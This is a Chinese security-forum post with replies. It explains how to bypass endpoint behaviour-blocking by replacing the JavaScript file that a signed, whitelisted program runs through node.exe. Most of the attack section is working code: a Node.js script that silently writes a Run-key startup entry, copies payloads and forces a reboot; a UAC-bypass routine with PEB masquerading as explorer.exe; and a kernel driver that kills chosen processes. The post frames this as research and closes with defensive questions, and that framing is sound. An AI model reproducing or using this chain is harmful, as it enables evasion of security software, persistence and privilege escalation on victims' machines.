首页
论坛
专栏
课程

[原创]值得关注的威胁类别--利用脚本语言解析器过主防

2019-2-22 05:17 1803

[原创]值得关注的威胁类别--利用脚本语言解析器过主防

2019-2-22 05:17
1803

⭐作此研究仅仅是因为好奇,如有失敬各位大侠轻拍。⭐


终端安全软件功能可以分为两大部分,一部分是杀毒,另一部分是主防。主流安全软件几乎都同时包含两种功能。

杀毒方面10多年前开始已经有比较多的攻防对抗方式,这里不作过多讨论,本文主要讨论主防。

主防主要作用是在关键系统位置被操作的时,判断操作请求来源是否合法。合法则放行,不合法则拦截,未知则询问用户。

粗略来看可以这么理解:杀毒主要校验资源(文件、url、内存数据、代码)等是否合法,主防主要校验行为是否合法。

攻击者绕过主防的方式大致包括:寻找系统漏洞,寻找特定主防的漏洞绕过,寻找正规大厂签名,社工,寻找白名单exe等。




由于这些方式讨论起来涉及领域过大,本文主要介绍白名单exe的方式。

Why?因为白名单的方式发掘利用成本低(危),兼容性强(害),效果不错(巨),容易更新(大)。

白名单exe

  Windows平台下,大概7、8年前开始流行一种过主防执行高危操作的方式,原理大致如下:

1. 寻找在杀软主防白名单中的exe程序。(一般带有大公司合法签名)

2. 确认exe程序是否加载可控动态库(dll.ocx...),并且动态库可以被路径劫持。

3. 确认exe文件调用动态库时未作严格校验(哈希/签名/版本...)

4. 编写执行高危功能动态库,仿写原动态库接口,放到exe调用路径中。

5. 启动exe,让动态库中的恶意代码执行。

下面来解析下重点要关注的地方:

1. 为什么要寻找调用dll的exe,而不寻其他类型的exe?(例如exe调用exe)?

 原因是当时各类主防对exe文件的检测比较严格,相对来说 dll.ocx检测偏弱。exe的运行时容易取得完备的运行条件,这样可以比较轻易复现恶意场景,容易定义威胁代码,而dll/ocx等依附于exe,不管是模拟运行、或者静态检测都相对麻烦,而且运行场景比较容易被破坏。

2. 调用链(进程树)的问题

一般认为explorer派生出来的子进程和孙进程比较可信。(暂且抛开用户是否运行的病毒程序不说,制定这种规则大概是因为用户运行程序一般都通过桌面运行,桌面进程为explorer,所以exe的父进程是explorer。而其他父进程为非explorer的程序执行高危操作时,很有可能是恶意程序所为,当然系统本身的程序、服务等也会执行高危操作,这些需要主防排除)。正因为如此,甚至出现了一些恶意程序模拟鼠标键盘操作去关闭安全软件,或者点击恶意程序启动,并且能成功,因为模拟操作导致发送的消息父进程是explorer,这样恶意操作就在白名单进程中执行了,不会被拦截。

3. 这种方式现在几乎没有用了,因为主流主防对dll ocx等PE文件也开始重点照顾。

其实无论是过主防,bypassuac,域名检测,进内网,主要思路几乎一样,就是找到白名单的载体,想方设法镶进去自己的料,载体可以是签名,可以是可执行文件,可以是域名下的可控路径,可以是跳板机,可以是运行中的进程上下文等等。这种思路贯穿攻防对抗多个领域。载体可能会变,但是思路始终不变。

废话不多说,回到过主防领域,今天谈及的是白名单exe的改进版。

之前的方式payload一般是dll、ocx,随着开发领域技术栈的发展,脚本语言越来越多的应用到各领域,其中js就是近年很火的一种,通过nodejs,js可以写服务端程序和桌面程序(electron nwjs)。

这种开发方式不少大厂都在使用,但是很少会去校验载荷的合法性(exe/dll/ocx /ps1脚本都有签名,但是现在很少看到js代码有校验和签名),这其中就隐藏巨大风险。例如,通过替换程序内的js文件,可以控制白名单exe的执行逻辑,而且不会引入新的pe文件,也不会破坏原文件,更不会出现跨进程读写被拦截的情况,效果跟动态库效果无异。例如替换某些著名程序的js可以在用户运行时执行高危操作,主防不会报任何提示。更可怕的是这些白名单exe很多本身就是自启动项,不需要用户主动运行。

当然除了js其实还有其他脚本语言解析器可能会被利用,这里只讨论js。

今天主角就是以下这位:正规大厂签名

 

还有这位:

 

他们之间的互动如下

t.exe--->libs/node.exe--->js/main.js

T.exe调用node 参数为js/main.js

 

 

首先明确一点,由于node.exe是一个非常常用的js解析器,就像php 和.php的关系一样。

正是由于这种通用性使得它即使带有签名,但是签名权重极低(跟没有一样),所以通过它执行脚本高危操作一般都是被拦截的。这里起关键作用的是t.exe 他的签名是知名大厂,这样程序调用链就是explorer.exe-->t.exe-->node.exe-->main.js,explorer的权重之前已经介绍过,这里不多说。

这个调用链和老方式explorer.exe-->oo.exe-->xxx.dll的不同之处在于,他不需要引入额外pe,所有高危操作都在main.js完成即可,这意味着什么,相信你懂的。。。

然后重点就是写js了

关键代码完成功能:写启动(无提示),释放文件(其实被释放的文件可以写在js里面,这里做测试分开写比较清晰),重启(可有可无 只是为了测试快些)

function startup() {
var pr = require('child_process');
var pathrexe,pathrsys,pathrbat,regexe;
//console.log(process.env.LOCALAPPDATA+ ' | '+typeof process.env.LOCALAPPDATA);
if(process.env.LOCALAPPDATA==undefined){
	
	
	pathrsys = process.cwd()+'\\libs\\'+'r.sys';
	pathrbat = process.cwd()+'\\libs\\'+'r.bat';
	regexe = process.env.USERPROFILE+'\\'+'r.bat';
	//console.log('=xp:'+pathrexe);//不需要uacbypass直接加载bat
}
else {
       	console.log('>xp:');
	if(process.env.PROCESSOR_ARCHITEW6432=='AMD64'){	
		pathrexe = process.cwd()+'\\libs\\'+'r64.exe';
		pathrsys = process.cwd()+'\\libs\\'+'r64.sys';//真证书不用导
		pathrbat = process.cwd()+'\\libs\\'+'r.bat';
		regexe = process.env.USERPROFILE+'\\'+'r.exe';
		//console.log('64:'+pathrexe);
	}
	else{
		pathrexe = process.cwd()+'\\libs\\'+'r.exe';
		pathrsys = process.cwd()+'\\libs\\'+'r.sys';
		pathrbat = process.cwd()+'\\libs\\'+'r.bat';
		regexe = process.env.USERPROFILE+'\\'+'r.exe';
		//console.log('32:'+pathrexe);
	}
}
var cmd1 = 'REG ADD HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v ewe /t REG_SZ /d "'+regexe +'" /f';

var cp = pr.exec(cmd1 ,function(error,stdout,stderr){ 
	if(error != null){
		//console.log(‘exec error:’+error);
	}
});


var cmd2 = 'copy '+'"'+pathrsys +'"'+' '+'"'+ process.env.USERPROFILE + '\\r.sys' +'"'+' /y';
var cmd3 = 'copy '+'"'+pathrexe +'"'+' '+'"'+ process.env.USERPROFILE + '\\r.exe' +'"'+' /y';
var cmd4 = 'copy '+'"'+pathrbat +'"'+' '+'"'+ process.env.USERPROFILE + '\\r.bat' +'"'+' /y';
console.log(cmd2 );

var cp = pr.exec(cmd2 ,function(error,stdout,stderr){
 if(error != null){
		//console.log(‘exec error:’+error);
	}
});
var cp = pr.exec(cmd3 ,function(error,stdout,stderr){
 if(error != null){
		//console.log(‘exec error:’+error);
	}
});
var cp = pr.exec(cmd4 ,function(error,stdout,stderr){
 if(error != null){
		//console.log(‘exec error:’+error);
	}
});
var cp = pr.exec("shutdown -r -t 0" ,function(error,stdout,stderr){
if(error != null){
		//console.log(‘exec error:’+error);
	}
});
}
 
 
startup();

看到t.exe这个文件图标问题就来了。,小盾牌是没有的!!这意味着执行某些操作需要bypassuac,但是一般写启动已经够用了,js代码中已经判断了系统,如果xp则直接写入bat启动项加载驱动,其它系统则调用了bypassuac的程序加载驱动(这里偷懒没有做当前用户是否admin以及进程权限是否需要提权的校验,直接提权),最后重启系统等待执行。Bypassuac从uacme中抠出来了一个提权方法,做了些小改动,bypassuac代码本来就适用于7600以上系统,分32、 64位,感谢uacme。为什么抠出来?因为原版可能会被杀毒功能查杀,为了方便测试所以只抠出来需要部分。 


关键代码就是原版稍作改动,原版头文件依赖太多了。

BOOL bypassuac(
	_In_ LPWSTR lpszExecutable
)
{
	HRESULT          r = E_FAIL, hr_init;
	BOOL             bCond = FALSE, bApprove = FALSE;
	ICMLuaUtil      *CMLuaUtil = NULL;

	hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
	do {
		r = ucmAllocateElevatedObject(
			(LPWSTR)T_CLSID_CMSTPLUA,
			IID_ICMLuaUtil,
			CLSCTX_LOCAL_SERVER,
			(void**)&CMLuaUtil);
		if (r != S_OK)
			break;
		if (CMLuaUtil == NULL) {
			r = E_OUTOFMEMORY;
			break;
		}
		r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
			lpszExecutable,
			NULL,
			NULL,
			SEE_MASK_DEFAULT,
			SW_SHOW);
	} while (bCond);
	if (CMLuaUtil != NULL) {
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}
	if (hr_init == S_OK)
		CoUninitialize();
	return SUCCEEDED(r);
}


VOID NTAPI modDTE(
	_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
	_In_ PVOID Context,
	_Inout_ BOOLEAN *StopEnumeration)
{
	PWSTR FullDllName;
	BOOL Restore = PtrToInt(Context);
	HANDLE h = GetModuleHandle(0);

	if (DataTableEntry->DllBase == h) {
		FullDllName = g_lpszExplorer;
		RtlInitUnicodeString(&DataTableEntry->FullDllName, FullDllName);
		RtlInitUnicodeString(&DataTableEntry->BaseDllName, EXPLORER_EXE);
		*StopEnumeration = TRUE;
	}
	else {
		*StopEnumeration = FALSE;
	}
}

VOID modPeb()
{
	PPEB        Peb = NtCurrentPeb();
	SIZE_T      RegionSize;
	PWSTR ImageFileName, CommandLine;

	RegionSize = 0x1000;
	g_lpszExplorer = (PWSTR)VirtualAlloc(
			0,
			RegionSize,
			MEM_COMMIT | MEM_RESERVE,
			PAGE_READWRITE);
	
	ZeroMemory(g_lpszExplorer, 0x1000);
	GetWindowsDirectoryW(g_lpszExplorer, 1000);
	g_lpszExplorer[(lstrlenW(g_lpszExplorer) - 1)*2] = L'\0';
	lstrcatW(g_lpszExplorer, L"\\explorer.exe");
	ImageFileName = g_lpszExplorer;
	//RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, ImageFileName);
	//RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, EXPLORER_EXE);
	LdrEnumerateLoadedModules(0, &modDTE,0);
}

驱动:

由于仅仅是测试,驱动非常简单, 起了一个进程回调杀感兴趣进程,由于启动为run键值bat调用system服务方式启动,驱动被启动顺序比较慢(可改进,你应该也想得到),所以可能第二次重启之后感兴趣的进程才会被杀掉,这样驱动也不大会被恶意利用了。

驱动兼容xp和win7以上。64位没有签名。

VOID
CreateProcessRoutine(
	IN HANDLE  ParentId,
	IN HANDLE  ProcessId,
	IN BOOLEAN  Create
)
{
	UNREFERENCED_PARAMETER(ParentId);
	NTSTATUS status;
	HANDLE procHandle = NULL;
	CLIENT_ID ClientId;
	OBJECT_ATTRIBUTES Obja;
	Obja.Length = sizeof(Obja);
	Obja.RootDirectory = 0;
	Obja.ObjectName = 0;
	Obja.Attributes = 0;
	Obja.SecurityDescriptor = 0;
	Obja.SecurityQualityOfService = 0;

	ClientId.UniqueProcess = (HANDLE)ProcessId;
	ClientId.UniqueThread = 0;
	
	if (Create)   
	{
		PEPROCESS peprocess;
		status = PsLookupProcessByProcessId((HANDLE)ProcessId, &peprocess);
		if (!NT_SUCCESS(status))
		{
			return;
		}
		ObDereferenceObject(peprocess);
		UCHAR* Uname  = PsGetProcessImageFileName(peprocess); 
		if (strlen((char*)Uname)==0)
		{
			return;
		}
		char *targetar[9] = { "testok.exe" };
		
		
		char* tmp = mestrlwr((char*)Uname);
		DbgPrint("ss %s %s\n", tmp, Uname);
		int i = 0;
		while (i<9)
		{
			char* pSub = strstr((char*)tmp, targetar[i]);
			DbgPrint("finding %s\n", targetar[i]);
			if (NULL != pSub)
			{
				DbgPrint("found %s\n", Uname);
				DbgPrint("open %s\n", Uname);
				
				status = ZwOpenProcess(&procHandle, PROCESS_ALL_ACCESS, &Obja, &ClientId);//标准做法
				
				if (NT_SUCCESS(status) && procHandle != NULL) {//防止被hook 返回假值
					status = ZwTerminateProcess(procHandle, 1);
					DbgPrint("killing %s\n", Uname);
					if (NT_SUCCESS(status)) {
						DbgPrint("killed %s ok \n", Uname);
						
					}
					else {
						DbgPrint("killed %s failed\n ", Uname);
						
						 
					}
				}
				else
				{
				
					DbgPrint("kill failed %p \n", Uname);
				}
				break;
				
			}
			i++;
		}
	}
	return;
}

整体调用链

Xp

Tt.exe--->node.exe--->main.js--->run键值

Run键值--->bat--->r.sys

Win7-win10

Tt.exe--->node.exe--->main.js--->run键值

Run键值--->r.exe/r64.exe--->bat--->r.sys/r64.sys

关于驱动启动时机只要想办法比主防exe加载的稍快就可以。

 

总结:

1. 这种方式虽然外带了2个pe文件,但是由于重启导致调用链被断开,所以一些主防来不及处理。不少主防很注重重启时候的处理(MoveFileEx +WM_QUERYENDSESSION),但是对开机时机的处理还是有些欠缺。有的驱动开机甚至占了boot前几位, service exe也有了,但是 和用户交互的exe加载过慢,导致恶意程序加载时没有和用户交互及时反馈,默认放行。可能需要在服务和userinit/ explorer的各种启动方式之间再做处理?这个只是猜想,

2. 如果把pe功能用js实现 ,甚至可以无需额外增加pe文件,至于js调用dll可以使用ffi。常规操作用node自带的库或三方库都可以实现。这种情况下如果官方js改动频繁,可能出现高危操作行为更新频繁的问题,该怎么处理?如果直接把exe去除白名单,或者对Js哈希采取白名单或者计数是否可以既少干扰用户,又能防止恶意操做?可能对js的改写行为加强监控是最合理的选择吧。

3. 这仅仅是js,脚本语言还有很多,面对多种脚本语言极有可能出现类似问题。这个可能需要软件官方和主防双方努力才能更安全吧。




⭐ ⭐ ⭐ 测试视频和代码见附件⭐ ⭐ ⭐

编译环境 vs2017  wdk10 1809

Exe分为32 64两个版本

Sys分为 32 64两个版本

Exe 编译后放到/libs/目录 改名为r.exe r64.exe

Sys 编译后放到/libs/目录 改名为r.sys r64.sys

为防止恶意利用 大部分主防,驱动第二次加载才生效。



⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐

本文写的比较仓促,请各位大侠轻拍,不足之处请斧正包容,谢谢。

另外本人想在sz 找一份开发或者安全方面工作。

本人只做白的,黑色勿扰,多谢!!!

ty

⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐ ⭐




[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

最后于 2019-2-22 05:22 被影光编辑 ,原因: 附件上传过大重传
上传的附件:
上一主题 下一主题
最新回复 (10)
hzqst 3 2019-2-22 07:33
2
1
大数字和鹅厂的各种小更新器小工具什么的被劫持的不要太多233333
万剑归宗 1 2019-2-22 10:19
3
0
各种开花
五天 2019-2-22 13:06
4
0
辛苦。
影光 2019-2-22 14:04
5
0
代码没有自动获取数组长度,驱动如需测试修改,注意这两个17的匹配

影光 2019-2-22 14:05
6
0
五天 [em_71]辛苦。
谢谢支持
影光 2019-2-22 14:07
7
0
hzqst 大数字和鹅厂的各种小更新器小工具什么的被劫持的不要太多233333
你懂的~而且这种可以不带pe的方式,可能危险更大。。
最后于 2019-2-22 14:07 被影光编辑 ,原因:
影光 2019-2-22 14:10
8
0
万剑归宗 各种开花
是的
yllen 2019-2-22 14:50
9
0
wsc 2019-2-22 16:37
10
0
工作投简历哦,job.kanxue.com    
黑洛 1 2019-2-22 17:44
11
0
这个问题,各大企业其实已经有一些解决方案了,那就是所谓的sandbox mode,所谓沙盒大家都懂。脚本引擎开发,现在最重要的一环之一就是沙盒,主流的的方案就是“API沙盒”,其目的是防止脚本编写者/hacker利用脚本提供的接口去做一些“非法的”操作,主要表现为对不安全的函数进行验证,阻止其行为、修改脚本引擎,不导出某些不安全函数。但是这类脚本引擎,还面临一个最大的问题,就是“虚拟机逃逸”。即通过寻找脚本引擎的漏洞,构造代码来使脚本获得“执行机器码”的能力,我的表述可能有问题,大体是这个思路,这些漏洞的方法可能是构造一个retn指令,来“脱离虚拟机环境”。
这样以来,所谓的沙盒验证和防护手段都会无效,就又转为了楼主说的自己构造dll ocx的方案。所以脚本引擎安全对抗现在已经从游戏扩展到各个行业,不得不引起大家的重视和警惕。
游客
登录 | 注册 方可回帖
返回